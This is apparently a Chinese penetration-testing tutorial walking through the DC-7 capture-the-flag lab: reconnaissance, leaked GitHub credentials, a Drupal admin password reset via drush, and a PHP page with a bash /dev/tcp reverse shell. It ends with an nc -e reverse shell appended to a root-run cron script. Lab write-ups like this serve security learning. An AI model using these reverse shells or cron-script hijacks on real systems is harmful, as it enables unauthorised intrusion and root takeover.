DC-7靶机复现
字数 1300 2025-09-01 11:26:10
DC-7靶机渗透测试教学文档
1. 信息收集阶段
1.1 网络扫描
使用nmap扫描靶机IP地址和开放端口:
nmap 192.168.130.147
发现开放端口:
- 80: HTTP服务
- 22: SSH服务
1.2 Web目录扫描
使用dirsearch扫描Web目录结构,只显示200和403状态码的目录:
dirsearch -u 192.168.130.147 -i 200,403
扫描到重要目录:/user/login/
2. Web应用分析
2.1 CMS识别
在登录页面左下角发现CMS标识:Drupal
2.2 登录页面提示
主页有提示:"暴力破解是不行的",表明不能使用暴力破解方法
2.3 关键信息发现
在登录页面左下角发现信息:@DC7USER
3. 初始访问获取
3.1 GitHub信息查找
通过浏览器查找@DC7USER,发现来自GitHub项目,从中获取到:
- 用户名:dc7user
- 密码:MdR3xOgB7#dW
3.2 SSH登录
使用获取的凭据通过SSH登录:
ssh dc7user@192.168.130.147
4. 权限提升路径分析
4.1 SUID提权尝试
查找具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null
未发现可利用的命令
4.2 Sudo权限检查
检查sudo可用命令:
sudo -l
无可用sudo权限,但发现邮件提示信息
4.3 定时任务分析
查看用户邮件,发现定时任务信息:
cat /var/mail/dc7user
输出内容:
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
From: root@dc-7 (Cron Daemon)
表明root用户定期执行/opt/scripts/backups.sh脚本
4.4 脚本权限检查
检查备份脚本的权限:
ls -l /opt/scripts/backups.sh
发现需要root用户或www-data组权限才能修改
5. Web权限获取
5.1 确认www-data用户
确认www-data是Web服务用户:
ps -fu www-data
5.2 分析备份脚本
查看备份脚本内容:
cat /opt/scripts/backups.sh
发现使用drush命令
5.3 Drush工具利用
Drush是Drupal的官方命令行工具,可用于管理Drupal网站
5.3.1 创建管理员用户
切换到Drupal根目录并创建新用户:
cd /var/www/html
drush user-password admin --password=admin
5.3.2 登录Web后台
使用新创建的用户(admin/admin)登录Drupal后台
6. 获取WebShell
6.1 安装PHP模块
下载并安装PHP模块:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装后启用PHP扩展
6.2 创建反弹Shell
- 在Kali上设置监听:
nc -lvp 8888
- 在Drupal后台创建包含以下PHP代码的页面:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.130.128/8888 0>&1'");
?>
6.3 获取www-data Shell
访问创建的PHP页面,获取www-data用户的WebShell
7. 最终权限提升
7.1 确认组权限
检查当前用户的组权限:
groups
确认有www-data组权限
7.2 修改备份脚本
向备份脚本添加反弹Shell命令:
echo 'nc -e /bin/bash 192.168.130.128 7777' >> /opt/scripts/backups.sh
在Kali上设置新的监听端口(7777)
7.3 获取root Shell
等待定时任务执行,获取root权限的Shell
8. 获取flag
8.1 查找flag文件
find / -name *flag*
8.2 读取最终flag
cat /root/theflag.txt
关键点总结
- 信息收集要全面:nmap扫描、目录扫描、CMS识别
- 注意页面上的提示信息:如GitHub用户名提示
- 定时任务是常见提权路径
- Drush工具是Drupal管理的关键
- Web后台管理权限可以转换为系统权限
- 修改root执行的脚本是有效的提权方法
- 多阶段反弹Shell是绕过限制的有效手段